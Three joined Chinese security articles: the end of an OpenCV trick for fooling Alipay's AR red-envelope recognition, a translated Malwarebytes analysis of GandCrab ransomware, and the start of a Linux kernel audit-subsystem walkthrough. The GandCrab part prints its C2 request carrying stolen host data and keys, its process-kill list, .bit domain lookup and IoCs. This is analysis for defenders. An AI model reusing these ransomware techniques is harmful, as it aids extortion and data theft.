src.at<Vec3b>(i + 1, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 2, j)[0] = src.at<Vec3b>(i + 3, j)[0];
src.at<Vec3b>(i + 2, j)[1] = src.at<Vec3b>(i + 3, j)[1];
src.at<Vec3b>(i + 2, j)[2] = src.at<Vec3b>(i + 3, j)[2];
}
if (i == 43 || i == 93 || i == 143 || i == 193)
{
src.at<Vec3b>(i, j)[0] = src.at<Vec3b>(i + 2, j)[0];
src.at<Vec3b>(i, j)[1] = src.at<Vec3b>(i + 2, j)[1];
src.at<Vec3b>(i, j)[2] = src.at<Vec3b>(i + 2, j)[2];
src.at<Vec3b>(i + 1, j)[0] = src.at<Vec3b>(i + 2, j)[0];
src.at<Vec3b>(i + 1, j)[1] = src.at<Vec3b>(i + 2, j)[1];
src.at<Vec3b>(i + 1, j)[2] = src.at<Vec3b>(i + 2, j)[2];
}
来看看处理的效果。
**后记**
最后来说一下之前提到的支付宝使用100*100像素图片代替200*200像素图片存在的问题。由于后者清晰，因此容易进行PS，而前者比较模糊，PS效果不好，不过这也导致其识别效果不理想，按常理来说一个有棱有角的图片应该比一个模糊的图片容易识别的多，而图片模糊会造成识别上的误差，可能用户对实景进行扫描也没办法得到红包。因此个人认为比较好的解决方法应该是增强对于实景和图片的区别能力，毕竟叫AR红包，无法识别现实何来增强现实？
**传送门**
* * *
[**【技巧分享】技术流花式“破解”支付宝AR红包，更多技巧征集中**
****](http://bobao.360.cn/learning/detail/3336.html) | 社区文章 |
# GandCrab勒索软件借助RIG及GrandSoft进行传播
|
##### 译文声明
本文是翻译文章，文章原作者 Malwarebytes Labs，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
上周末时，我们发现GandCrab这款新型勒索软件开始粉墨登场。令人惊讶的是，这款恶意软件借助了两款漏洞利用工具包（exploit
kit）进行传播，这两款套件分别为RIG EK以及GrandSoft EK。
为什么这一点令人惊讶？与Magnitude EK不同的是（众所周知，Magnitude EK一直在传播[Magniber
](https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/)勒索软件），今年来其他工具包释放的都是其他类型的载荷，比如Ramnit或者SmokeLoader，以及一些RAT或挖矿程序。
尽管在2017年最后一个季度中，勒索软件的增长幅度有所放缓，但这种安全威胁依然不容忽视，攻击者可以通过这种手段获得可观的收入。
## 二、传播渠道
GandCrab的首次活动时间可以追溯到1月26日，随后我们也可以在漏洞利用攻击活动中找到它的踪影。
### 2.1 RIG Exloit Kit
之前业界对Seamless
gate已经分析得较为透彻，但随后Seamless衍生出了许多分支，传播不同的载荷，以增加自身的多样性。虽然Seamless正在逐步切换到包含俄文字符的国际域名（[International
Domain Names](https://blog.malwarebytes.com/threat-analysis/2017/12/seamless-campaign-caught-using-punycode/)，IDN），但我们也发现了一条不同的攻击链，该攻击链使用的是标准的域名（备注：这条攻击链中同样也会重定向到Magnitude
exploit kit）。
此次攻击活动中，我们可以观察到恶意软件请求了一些常见的地址，这些地址包含我们已知的IP信息，但也用到了比较特殊的`gav[0-9].php`地址，该地址用来重定向至RIG
EK。
目前，攻击者只使用了[
_gav4.php_](https://twitter.com/nao_sec/status/956924254376812544)这个地址来传播这款勒索软件。
### 2.2 GrandSoft Exploit Kit
这款Exploit Kit年代已经比较久远，并不常见，人们曾经认为它已不再活跃。然而事实证明攻击者也用到了这款工具包来传播GandCrab。
GrandSoft EK所用的下载页面并没有经过混淆处理，并且我们发现该工具包也用到了其他Exploit Kit中类似的功能。
## 三、整体情况
有趣的是，GrandCrab并没有要求受害者使用流行的Bitcoin货币来支付，而是用到了知名度较低的一款加密货币：Dash（达世币）。这表明攻击者追求的是在匿名性方面以及交易费方面比BTC更加优秀的加密货币。
## 四、技术分析
从安全分析角度来看，解封装后的二进制程序非常简单，并没有混淆数据或代码，只对第一层封装器做了些处理。恶意软件在数据区中保存了各种明文，如不处理的文件类型、Web请求变量、URL地址、AV清单以及勒索信息等。只要稍作分析，你就有可能通过二进制文件中的字符串信息，推测出这款恶意软件的部分功能。
恶意软件的代码流内部关联度比较高，因此从逆向分析工程角度来看，即使只用反汇编器来静态分析这个样本，我们也能得到比较准确的分析结果。程序代码可以分成3个主要部分：
**初始化部分（initialization）** 、 **网络部分（network）** 以及 **加密部分（encryption）** 。
### 4.1 初始化
解封装之后，GranCrab首先会执行一些函数，这些函数的功能是收集一些信息，以便后续使用。恶意软件会查询与用户有关的信息，如：
* 用户名
* 键盘类型
* 主机名
* 反病毒软件情况
* 处理器类型
* IP地址 操作系统版本
* 磁盘空间情况
* 系统语言
* 活动的驱动器
* 区域化设置信息
* 当前Windows版本
* 处理器架构
恶意软件会特意去检查键盘布局是否采用俄语布局，使用某个整数来表明键盘类型，通过某个字符串来收集这个信息。恶意软件使用某些变量名来记录收集到的信息，如下所示：
随后，恶意软件通过字母表来遍历所有盘符，查询哪些驱动器存在，判断这些驱动器的具体类型。如果该驱动器为CDRom、未知驱动器或者不存在的驱动器，则会被恶意软件跳过。如果恶意软件找到一个固定驱动器，则会将驱动器的名字复制到某个缓冲区中，使用某个字符串来表示驱动器的类型。比如，`C:`盘对应的是`FIXED`。
然后恶意软件会收集可用磁盘空间及扇区信息，通过`printf`函数将其转换为一串数字，如`C:FIXED_64317550592`。遍历完所有驱动器后，恶意软件会得到一份磁盘清单。
随后，恶意软件将收集到的所有信息汇总在一起，并在某个时刻使用GET请求将这些信息发往C2服务器。系统信息所对应的请求格式如下所示：
ip=99.8.160.100&pc_user=virusLab&pc_name=VI
恶意软件也会搜索正在运行的进程，检查其中是否存在某些反病毒程序，这些信息经过处理后也会发给C2服务器。
接下来，恶意软件利用收集到的一些系统信息以及生成的ID来创建互斥量（mutex），如下所示：
Globalpc_group=WORKGROUP&ransom_id=c9ed65de824663f
为了后续加密过程能顺利进行，恶意软件会遍历内置的一份进程列表，结束该列表中存在的进程。对勒索软件而言，这是一种常用的技术，可以终止某些进程，避免某些文件被锁住而无法加密。
需要终止的进程如下：
msftesql.exe
sqlagent.exe
sqlbrowser.exe
sqlservr.exe
sqlwriter.exe
oracle.exe
ocssd.exe
dbsnmp.exe
synctime.exe
mydesktopqos.exe
agntsvc.exe
isqlplussvc.exe
xfssvccon.exe
mydesktopservice.exe
ocautoupds.exe
agntsvc.exe
agntsvc.exe
agntsvc.exe
encsvc.exe
firefoxconfig.exe
tbirdconfig.exe
ocomm.exe
mysqld.exe
mysqld-nt.exe
mysqld-opt.exe
dbeng50.exe
sqbcoreservice.exe
excel.exe
infopath.exe
msaccess.exe
mspub.exe
onenote.exe
outlook.exe
powerpnt.exe
steam.exe
thebat.exe
thebat64.exe
thunderbird.exe
visio.exe
winword.exe
wordpad.exe
接下来，恶意软件会调用内置的加密函数来生成密钥。GandCrab会在客户端生成公钥及私钥，然后通过`Advapi32.dll`中的API调用来使用标准的微软加密程序库。恶意软件使用RSA算法来调用`CryptGenKey`函数。
### 4.2 网络行为
现在，勒索软件会进入主循环，处理互联网相关功能。这部分代码中，如果执行成功，则会进入加密部分代码，否则，恶意软件会不断循环，直至成功为止。如果一直不能成功执行，则恶意软件永远不会加密任何文件。
在这部分代码中，恶意软件首先向 _ipv4bot.whatismyipaddress.com_
发起GET请求，查询本机的IP地址，然后将其添加到系统信息中，通过GET请求发给服务器。
随后，恶意软件开始处理一段二进制数据，这段数据为初始化过程中生成的RSA公钥。恶意软件通过 _CryptBinaryToStringA_
API，传入CRYPT_STRING_NOCRLF以及CRYPT_STRING_BASE64参数，将公钥转换为base64编码，并将编码结果加入GET请求字符串中。RSA密钥的生成及转化过程如下。
使用加密API生成的RSA公钥如下：
A7 EC BD E2 49 43 E1 11 DA 12 10 E0 25 59 AA 83 77 35 FC 3E 49 C8 3B 6C 3D 91 CF FF 96 6E D8 45 FE 8A 58 20 E6 CB 91 AB 99 6A E2 04 EC 58 66 95 05 8C 2F 7E C6 19 6D 24 B5 5F C4 9A 01 3D 3B FB 31 4E AC 25 07 8C 0E 6C 57 4C C0 23 24 3A EB 57 97 17 79 F8 62 73 6B AD B2 09 60 BB B7 9A CF F9 5B 68 B8 C1 44 07 F5 5E 3E 06 FE C2 35 CF 99 82 29 28 37 1B E6 51 29 6C 0B 87 89 F9 90 26 F7 CC DA 75 C4 46 A1 E3 30 09 C0 6A CB 5E CB 87 8E 40 EF 4C 7E 02 AE E8 06 6A D7 24 FC 0E 40 EA 69 CD 6D 8D 24 92 6E 53 2F D2 69 D2 A2 F3 97 54 63 EB D9 C7 BD 9E 41 19 91 F1 6B D6 CA AD 9E 0E D3 0B A0 53 50 84 87 6D 49 4C 49 D2 3B 8E 80 F7 7F 35 F1 D7 A7 81 0F 90 04 40 AC 4B 7C ED 37 71 8A B1 FA 84 33 33 FB 62 EE 04 A3 C7 9A 47 2C 64 64 95 3D 34 A5 CC 12 6E E4 81 40 E6 7F 03 02 C4 57 D6
转化为base64编码为：
BgIAAACkAABSU0ExAAgAAAEAAQCn7L3iSUPhEdoSEOAlWaqDdzX8PknIO2w9kc//lm7YRf6KWCDmy5GrmWriBOxYZpUFjC9+xhltJLVfxJoBPTv7MU6sJQeMDmxXTMAjJDrrV5cXefhic2utsglgu7eaz/lbaLjBRAf1Xj4G/sI1z5mCKSg3G+ZRKWwLh4n5kCb3zNp1xEah4zAJwGrLXsuHjkDvTH4CrugGatck/A5A6mnNbY0kkm5TL9Jp0qLzl1Rj69nHvZ5BGZHxa9bKrZ4O0wugU1CEh21JTEnSO46A93818dengQ+QBECsS3ztN3GKsfqEMzP7Yu4Eo8eaRyxkZJU9NKXMEm7kgUDmfwMCxFfW
加密密钥与之前收集到的系统所有信息合在一起，通过GET请求字符串发往C2服务器，请求字符串如下所示：
action=call&ip=99.8.160.100&pc_user=virusLab&pc_name=VIRUSLAB-PC&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 7 Enterprise&os_bit=x64&ransom_id=c9ed65de824663fc&hdd=C:FIXED_64317550592/50065174528&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQCn7L3iSUPhEdoSEOAlWaqDdzX8PknIO2w9kc//lm7YRf6KWCDmy5GrmWriBOxYZpUFjC9+xhltJLVfxJoBPTv7MU6sJQeMDmxXTMAjJDrrV5cXefhic2utsglgu7eaz/lbaLjBRAf1Xj4G/sI1z5mCKSg3G+ZRKWwLh4n5kCb3zNp1xEah4zAJwGrLXsuHjkDvTH4CrugGatck/A5A6mnNbY0kkm5TL9Jp0qLzl1Rj69nHvZ5BGZHxa9bKrZ4O0wugU1CEh21JTEnSO46A93818dengQ+QBECsS3ztN3GKsfqEMzP7Yu4Eo8eaRyxkZJU9NKXMEm7kgUDmfwMCxFfW
&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQCn7L3iSUPhEdoSEOAlWaqDdzX8PknIO2w9kc//lm7YRf6KWCDmy5GrmWriBOxYZpUFjC9+xhltJLVfxJoBPTv7MU6sJQeMDmxXTMAjJDrrV5cXefhic2utsglgu7eaz/lbaLjBRAf1Xj4G/sI1z5mCKSg3G+ZRKWwLh4n5kCb3zNp1xEah4zAJwGrLXsuHjkDvTH4CrugGatck/A5A6mnNbY0kkm5TL9Jp0qLzl1Rj69nHvZ5BGZHxa9bKrZ4O0wugU1CEh21JTEnSO46A93818dengQ+QBECsS3ztN3GKsfqEMzP7Yu4Eo8eaRyxkZJU9NKXMEm7kgUDmfwMCxFfWGRZmQmHH5W5K1RYgSg8VJEFLebRW8+o7X0K30wzzrw5NHpJpVJYX8OKot8KvopS4wsZzuxu5YJih1ZYVgF6QT5FW4WEG3BzMtq5vGVqTmrlckudC0xfGlGb7J41vUkZsp6S07NTIIT7HtYJSA/pxS51Zg+13TfU0nxC92RkKuva/8Dzmgssm6uE7aYJQFEkUmkPImYreHGIPsffEEGtZM9zwz4tXbrXLch0BoRNHeR+GFLJclnLc5JMg/J4BLaS6js+RGxRbZGMPJDVX6lTEEl+aIYO38Wh49+Zcpzs4EOUfb1EsoLEDAZbppIWq8Yr1P6KtWkqIXRzjUk9HXiJm3qHm0u0vchV4iRAKz2MJ/xZdYjHp+C3qMTTsNbQbtcscpy13/rEv8oO6clfciSCPcthy5IkLFLKZQP5be+IcsAjxeSoOqqtEpNpj8nOKfZ5PvEs+/kn718vG0R5CMU4I0fyF0BD68AFat6dl5gHK1sKs0ndAvCKdDMg/HqO/JKUZRSza2VKkgxpXC57BRGNP0r/jYySGnqhE2owHQaXoEmP9tme1A8PHsAoNtUEd0SO4/pn4hDg70o/Nmph/UWqtOq9nSlrxQMD8Q08w4K2H1CC3eCAnHZOM8PTCDYH3nh6f/ftkVtyrpudTpicTjoUSEkwtEPRsWk7ff3F/Na8D2FcXSI5xQ6R+R2uy8GvVoxpBy8Xdh78VqViOBlu5+Jxp09PMQmI2EFususg4VJeH047Wayi2r+VemzAX1rTuMh2mRKfKa+eae+YBKjBUkIh9WPCmFjO+3lll7GqV7P4JFm1g2sjrm/dPWnoGzfg1E7brER6aD2q+w1+4o8wCzNTNvPH2bwPMyV6R+vbWOVZUTprzZ4sRr7KxT0ucZmNA76WX39NegSU56tOngYpAQprOMrJP0NYmrizT8FsCOcqlUGk0jf6moarJSWQxh2MxXtlpFAvJjPTqqKruIVMhIkTJ9aZHKnn02a5PIdLcs4a09D85js9klKZn90Gj6C4AxlT2nI/ba9mEx+7srvxxbh1XNgI987IWLsLYpWxHlRptJqIvI0ZAA3EuvwZuZ8f6sqLM2/rSxdOnFW5hd8am9zgopimktfkjFtsHpev/Svf0VlxQ3Fj22A06aXqfi7hmWPZ8ZCtZ874PUHgbrG3foNESQiTghT2NLV9rNNad7ij/kVA=
&version=1.0
密钥转化为base64编码的函数段如下：
将编码后的密钥添加到请求字符串中（私钥存放于`priv_key`参数中）：
此时，我们已经清楚恶意软件会将哪些信息发往C2服务器。这些信息非常有趣，因为我们有可能从内存中提取出加密密钥，然后使用这些密钥来解密文件。我们会继续调查，如果有新发现会及时更新分析文章。
GandCrab的服务器托管在`.bit`域名上，因此恶意软件必须查询支持该TLD的域名服务器，恶意软件采用如下命令来查询相关域名：
nslookup [insert domain] a.dnspod.com.
这条命令会查询`a.dnspod.com`域名服务器，该服务器支持以下`.bit`类型的TLD：
bleepingcomputer.bit
nomoreransom.bit
esetnod32.bit
emsisoft.bit
gandcrab.bit
恶意软件创建管道，通过该管道打开`NSlookup`子进程。这样一来，子进程就可以直接影响父进程的内存，无需手动传输输出结果。这是一种比较有趣又实用的技术，相关代码如下所示：
准备就绪后，恶意软件尝试向服务器发送数据，如果出现错误或者服务器不可达，则会在无限循环中继续执行该过程，直到找到可用的服务器为止，然后重新查询客户端IP，再次运行`nslookup`，解析IP地址。除非恶意软件与服务器建立连接，否则它将继续运行，直至进程被手动结束为止。
前面我们提到过，除非恶意软件找到可用的服务器，才会进入加密过程，也就是说恶意软件会进入一个死循环中，查询IP地址：
找到可用地址后，恶意软件继续打开一个线程，启动主加密流程。然而，在执行加密过程之前，恶意软件会打开另一个线程，创建一个窗口，将其标记为Firefox。窗口加载时，会将自身拷贝至`temp`目录中，并在注册表中建立相应键值。这也是这款恶意软件为数不多的没有直接用明文表示的动作之一。恶意软件调用
_cryptGenRandom_ 函数，将输出结果应用在一组字符串上，从而随机生成复制文件的文件名。
以上功能有点奇怪，虽然恶意软件会通过上述流程实现本地持久化目的，但同时也会第一时间创建一个窗口。从我们的角度来看，创建窗口对其本身任务而言没有任何好处。作者这么做可能只是想实验一下，真实的意图我们仍然不得而知。
### 4.3 加密行为
如前文所述，恶意软件所使用的加密算法为RSA算法。在进入加密流程之前，恶意软件首先确保自己没有加密特定类型的文件，这些文件类型已硬编码到恶意软件中，如下所示：
desktop.ini
autorun.inf
ntuser.dat
iconcache.db
bootsect.bak
boot.ini
ntuser.dat
thumbs.db
GDCB-DECRYPT.txt
.sql
如果恶意软件发现目标文件名在该列表中出现，则会跳过此文件，继续处理下一个文件。与此同时，如果待处理的目录属于如下几个关键目录，也会被恶意软件跳过：
local app data
windows
programfiles
program data
ransomware
localsettings
通过这些检查过程后，恶意软件会对文件扩展名做最后一次检查，检查该类型的文件是否可以加密处理，可以处理的扩展名如下：
如果所有检查过程都通过，恶意软件会使用之前生成的密钥，配合盐（salt）以及生成的随机数来加密文件，并将文件重命名为`.GDCB`类型。循环加密过程是一个递归函数，可以处理磁盘上的所有文件。
## 五、防护手段
借助漏洞利用防护功能，Malwarebytes能够保护客户免于感染这款恶意软件，由于采用了强大的反勒索软件引擎，客户能够防范于未然，在看到恶意软件之前就能主动阻止其攻击活动。
## 六、总结
在当前活跃的攻击活动中看到新型勒索软件的踪影是非常有趣的一件事情，此外，更有趣的是有两款不同的漏洞利用工具包在传播这款软件。我们不知道这两种攻击活动背后的主使者是否为同一波人，正在尝试使用不同的传播渠道来发起攻击。
## 七、IoC
Seamless gate
31.31.196.187,xn--80abmi5aecft.xn--p1acf
GrandSoft EK（IP）
62.109.4.135
GandCrab（封装形态）
69f55139df165bea1fcada0b0174d01240bc40bc21aac4b42992f2e0a0c2ea1d
GandCrab（解封装形态）
ab0819ae61ecbaa87d893aa239dc82d971cfcce2d44b5bebb4c45e66bb32ec51 | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/G6kE52o7OZaGYPqnuUwggQ>**
### 1 简介
以linux kernel 5.6.7内核代码为例，阐述内核的audit子系统是如何实现的，以及它的一些设计缺陷和绕过方法。
### 2 架构
#### 2.1 总体架构
Linux
audit系统分为用户层和内核层两部分，用户层通过auditctl工具生成rule规则，发送给auditd守护进程，后者通过netlink协议与内核进行交互，包括规则下发等功能。
内核在启动阶段初始化audit子系统时，创建一个netlink
socket，启动audit_receive内核线程处理来自用户层的请求，包括解析rule规则，使能audit开关等工作。
内核维护一个日志队列，通过kaudit_thread内核线程来操作，当队列长度大于audit_backlog_limit时进行休眠，否则从队列里取下一个节点进行日志格式化处理，然后写入到printk子系统里。
对于rule规则的审计有以下几个入口点，后面章节会详细介绍：
* system call系统调用阶段
* fork进程时
* 文件系统状态改变
这几个入口点都可以触发对rule规则的检查，然后写入内核日志队列，最后通过上述的kaudit_thread内核线程处理。
#### 2.2 内核与用户通讯接口
##### 2.2.1 协议接口
内核使用数字9代表audit子系统使用的netlink协议：
include/uapi/linux/netlink.h
#define NETLINK_AUDIT 9 /* auditing */
kernel/audit.c
static int __net_init audit_net_init(struct net *net)
{
struct netlink_kernel_cfg cfg = {
.input = audit_receive,
.bind = audit_bind,
.flags = NL_CFG_F_NONROOT_RECV,
.groups = AUDIT_NLGRP_MAX,
};
...
aunet->sk = netlink_kernel_create(net, NETLINK_AUDIT, &cfg);
...
}
Audit_receive函数处理接受来自用户层的数据协议：
audit_receive()->audit_receive_msg:
static int audit_receive_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
...
switch (msg_type) {
case AUDIT_GET:
case AUDIT_SET:
case AUDIT_GET_FEATURE:
case AUDIT_SET_FEATURE:
case AUDIT_USER:
case AUDIT_FIRST_USER_MSG ... AUDIT_LAST_USER_MSG:
case AUDIT_FIRST_USER_MSG2 ... AUDIT_LAST_USER_MSG2:
case AUDIT_ADD_RULE:
case AUDIT_DEL_RULE:
case AUDIT_LIST_RULES:
case AUDIT_TRIM:
case AUDIT_MAKE_EQUIV:
case AUDIT_SIGNAL_INFO:
case AUDIT_TTY_GET:
case AUDIT_TTY_SET:
...
}
Nlh为用户态auditd进程使用netlink协议包装的数据，其中msg_type代表auditd能使用的功能里列表：
* AUDIT_GET
获取audit子系统的状态信息，使用auditctl -s进行获取。
* AUDIT_SET
设置audit子系统状态，包括audit功能是否开启，注册和销毁来自用户态auditd进程的请求。Linux
audit子系统每次只允许一个auditd进程注册，并且auditd进程只能来自init_namespace,
也就是说来自docker等其他容器的进程是不扮演auditd进程与内核通讯的。
* AUDIT_GET_FEATURE
AUDIT_SET_FEATURE
获取和设置功能列表
* AUDIT_USER
AUDIT_FIRST_USER_MSG ... AUDIT_LAST_USER_MSG
AUDIT_FIRST_USER_MSG2 ... AUDIT_LAST_USER_MSG2
处理来自用户态自定义的audit日志内容
* AUDIT_ADD_RULE
AUDIT_DEL_RULE
AUDIT_LIST_RULES
获取和设置rule规则
* AUDIT_TRIM
销毁之前被监控的目录树
* AUDIT_MAKE_EQUIV
附加到之前被监控的目录树
* AUDIT_SIGNAL_INFO
获取发送给auditd信号的进程信息
* AUDIT_TTY_GET
AUDIT_TTY_SET
获取和设置tty监控信息，这是个神奇的功能，后面会有详细分析。
##### 2.2.2 规则添加
下面以添加一条规则为例，看下audit子系统是如何在内核操作的。
kernel/auditfilter.c:
int audit_rule_change(int type, int seq, void *data, size_t datasz)
{
switch (type) {
case AUDIT_ADD_RULE:
entry = audit_data_to_entry(data, datasz);
if (IS_ERR(entry))
return PTR_ERR(entry);
err = audit_add_rule(entry);
}
audit_data_to_entry用来将用户态的规则转为内核态的规则，来自用户态的规则数据结构体为：
include/uapi/linux/audit.h：
struct audit_rule_data {
__u32 flags; /* AUDIT_PER_{TASK,CALL}, AUDIT_PREPEND */
__u32 action; /* AUDIT_NEVER, AUDIT_POSSIBLE, AUDIT_ALWAYS */
__u32 field_count;
__u32 mask[AUDIT_BITMASK_SIZE]; /* syscall(s) affected */
__u32 fields[AUDIT_MAX_FIELDS];
__u32 values[AUDIT_MAX_FIELDS];
__u32 fieldflags[AUDIT_MAX_FIELDS];
__u32 buflen; /* total length of string fields */
char buf[0]; /* string fields buffer */
};
这个结构其实就是由auditctl的参数负责填充的，mask数组就是audit -S 指定要过滤的系统调用表，fields数组为audit -F
指定的操作表，格式为type op value。
内核态的规则结构体为：
struct audit_krule {
u32 pflags;
u32 flags;
u32 listnr;
u32 action;
u32 mask[AUDIT_BITMASK_SIZE];
u32 buflen; /* for data alloc on list rules */
u32 field_count;
char *filterkey; /* ties events to rules */
struct audit_field *fields;
struct audit_field *arch_f; /* quick access to arch field */
struct audit_field *inode_f; /* quick access to an inode field */
struct audit_watch *watch; /* associated watch */
struct audit_tree *tree; /* associated watched tree */
struct audit_fsnotify_mark *exe;
struct list_head rlist; /* entry in audit_{watch,tree}.rules list */
struct list_head list; /* for AUDIT_LIST* purposes only */
u64 prio;
};
field在内核中的结构体为：
struct audit_field {
u32 type;
union {
u32 val;
kuid_t uid;
kgid_t gid;
struct {
char *lsm_str;
void *lsm_rule;
};
};
u32 op;
};
Type的类型可以为：
include/uapi/linux/audit.h：
#define AUDIT_PID 0
#define AUDIT_UID 1
#define AUDIT_EUID 2
#define AUDIT_SUID 3
#define AUDIT_FSUID 4
#define AUDIT_GID 5
#define AUDIT_EGID 6
#define AUDIT_SGID 7
#define AUDIT_FSGID 8
#define AUDIT_LOGINUID 9
#define AUDIT_PERS 10
#define AUDIT_ARCH 11
#define AUDIT_MSGTYPE 12
#define AUDIT_SUBJ_USER 13 /* security label user */
#define AUDIT_SUBJ_ROLE 14 /* security label role */
#define AUDIT_SUBJ_TYPE 15 /* security label type */
#define AUDIT_SUBJ_SEN 16 /* security label sensitivity label */
#define AUDIT_SUBJ_CLR 17 /* security label clearance label */
#define AUDIT_PPID 18
#define AUDIT_OBJ_USER 19
#define AUDIT_OBJ_ROLE 20
#define AUDIT_OBJ_TYPE 21
#define AUDIT_OBJ_LEV_LOW 22
#define AUDIT_OBJ_LEV_HIGH 23
#define AUDIT_LOGINUID_SET 24
#define AUDIT_SESSIONID 25 /* Session ID */
#define AUDIT_FSTYPE 26 /* FileSystem Type */
#define AUDIT_DEVMAJOR 100
#define AUDIT_DEVMINOR 101
#define AUDIT_INODE 102
#define AUDIT_EXIT 103
#define AUDIT_SUCCESS 104 /* exit >= 0; value ignored */
#define AUDIT_WATCH 105
#define AUDIT_PERM 106
#define AUDIT_DIR 107
#define AUDIT_FILETYPE 108
#define AUDIT_OBJ_UID 109
#define AUDIT_OBJ_GID 110
#define AUDIT_FIELD_COMPARE 111
#define AUDIT_EXE 112
#define AUDIT_SADDR_FAM 113
#define AUDIT_ARG0 200
#define AUDIT_ARG1 (AUDIT_ARG0+1)
#define AUDIT_ARG2 (AUDIT_ARG0+2)
#define AUDIT_ARG3 (AUDIT_ARG0+3)
#define AUDIT_FILTERKEY 210
Op的操作可以为：
/* These are the supported operators.
* 4 2 1 8
* = > < ?
* ---------- * 0 0 0 0 00 nonsense
* 0 0 0 1 08 & bit mask
* 0 0 1 0 10 <
* 0 1 0 0 20 >
* 0 1 1 0 30 !=
* 1 0 0 0 40 =
* 1 0 0 1 48 &= bit test
* 1 0 1 0 50 <=
* 1 1 0 0 60 >=
* 1 1 1 1 78 all operators
*/
#define AUDIT_BIT_MASK 0x08000000
#define AUDIT_LESS_THAN 0x10000000
#define AUDIT_GREATER_THAN 0x20000000
#define AUDIT_NOT_EQUAL 0x30000000
#define AUDIT_EQUAL 0x40000000
#define AUDIT_BIT_TEST (AUDIT_BIT_MASK|AUDIT_EQUAL)
#define AUDIT_LESS_THAN_OR_EQUAL (AUDIT_LESS_THAN|AUDIT_EQUAL)
#define AUDIT_GREATER_THAN_OR_EQUAL (AUDIT_GREATER_THAN|AUDIT_EQUAL)
#define AUDIT_OPERATORS (AUDIT_EQUAL|AUDIT_NOT_EQUAL|AUDIT_BIT_MASK)
就是说audit子系统可以对以上的type类型做一些简单的逻辑操作，
这对于审计作用已经足够了。比如它可以让audit子系统只针对一个uid或一个group组进行审计；可以对系统调用的前四个参数进行审计，
但是目前只支持整型的参数，指针或数据结构则没有支持，因为这要设计更复杂的数据结构， 指针可以包含更多级指针，
数据结构可以嵌套数据结构，数据结构又可以嵌套指针等等。虽然目前功能有限，但这个filed结构体的操作可以说是linux audit子系统的一个重大改进了。
audit_data_to_entry->audit_to_entry_common解析用户态的struct
audit_rule_data数据为struct audit_krule：
struct audit_krule {
u32 pflags;
u32 flags;
u32 listnr;
u32 action;
u32 mask[AUDIT_BITMASK_SIZE];
u32 buflen; /* for data alloc on list rules */
u32 field_count;
char *filterkey; /* ties events to rules */
struct audit_field *fields;
struct audit_field *arch_f; /* quick access to arch field */
struct audit_field *inode_f; /* quick access to an inode field */
struct audit_watch *watch; /* associated watch */
struct audit_tree *tree; /* associated watched tree */
struct audit_fsnotify_mark *exe;
struct list_head rlist; /* entry in audit_{watch,tree}.rules list */
struct list_head list; /* for AUDIT_LIST* purposes only */
u64 prio;
};
audit_rule_change->audit_add_rule将新生成的krule挂接到对应的规则链表里：
static inline int audit_add_rule(struct audit_entry *entry)
{
e = audit_find_rule(entry, &list);[1]
if (watch) {[2]
err = audit_add_watch(&entry->rule, &list);
if (tree) {
err = audit_add_tree_rule(&entry->rule);[3]
if (entry->rule.flags & AUDIT_FILTER_PREPEND) {[4]
list_add(&entry->rule.list,[5]
&audit_rules_list[entry->rule.listnr]);
list_add_rcu(&entry->list, list);
entry->rule.flags &= ~AUDIT_FILTER_PREPEND;
} else {
list_add_tail(&entry->rule.list,
&audit_rules_list[entry->rule.listnr]);
list_add_tail_rcu(&entry->list, list);
}
}
内核维护以下几个关于规则的链表：
struct list_head audit_filter_list[AUDIT_NR_FILTERS]；
static struct list_head audit_rules_list[AUDIT_NR_FILTERS]；
audit_filter_list数组保存的都是链表头，它们对应于不同过滤类型的链表，如之前所述的task、exit、user、exclude等审计入口用到的规则，在审计规则时用到。
audit_rules_list数组链表保存的是全部规则节点，仅在auditd -l获取所有规则列表时使用。
struct list_head audit_inode_hash[AUDIT_INODE_BUCKETS];
现在的aduit子系统不仅可以对系统调用号进行审计，还可以对文件进行监控，[2]处的操作就是解析auditctl
-w指定要监控的文件路径。audit_inode_hash为一个针对inode过滤的哈希表，前面讲过struct
filed结构体可以对inode进行审计，同时audit_add_watch也会对文件转化为inode, 插入到audit_inode_hash哈希链表中。
这些数据结构之间的关系图为：
#### 2.3 内核审计入口
Audit子系统的审计入口最初来自于系统调用的入口，后面在支持了对文件监控的功能后，审计入口还被加入到了文件系统某些接口里。同时在进程创建的时候也会对其进行审计。所以在linux的man手册中，auditctl有如下入口列表：
Task - 进程创建时进行审计
Exit - 系统调用结束时进行审计
User - 来自用户态自定义的内核日志
Exclude - 在日志记录前进行审计
##### 2.3.1 系统调用入口
以x86架构为例：
arch/x86/entry/common.c:
entry_SYSCALL_64()->do_syscall_64()
__visible void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
if (READ_ONCE(ti->flags) & _TIF_WORK_SYSCALL_ENTRY)
nr = syscall_trace_enter(regs);[1]
regs->ax = sys_call_table[nr](regs);[2]
syscall_return_slowpath(regs);[3]
}
在[1]出判断当前线程标志_TIF_WORK_SYSCALL_ENTRY是否被置位，如果是则调用
syscall_trace_enter进行系统调用审计前的准备。它则调用do_audit_syscall_entry()以及
__audit_syscall_entry进一步初始化：
kernel/auditsc.c：
void __audit_syscall_entry(int major, unsigned long a1, unsigned long a2,
unsigned long a3, unsigned long a4)
{
context->argv[0] = a1;
context->argv[1] = a2;
context->argv[2] = a3;
context->argv[3] = a4;
}
注意每个进程的audit
context结构是在进程fork时创建的，在这个路径里，只保存系统调用的前4个参数的内容。这个操作比较让笔者费解，为什么只记录前四个参数内容，按照X86的调用约定并且在系统调用处理程序开始时前六个参数无论是否存在，都已经保存在内核栈里了。如果参数是指针的话，那么保存的就是指针的值，在后面的日志输出时会打印出来，这里保存的是用户态的指针，不会泄露内核指针，所以不会有安全风险。
我们看到[1]处函数的作用只是保存了系统调用参数和设置context的一些值，
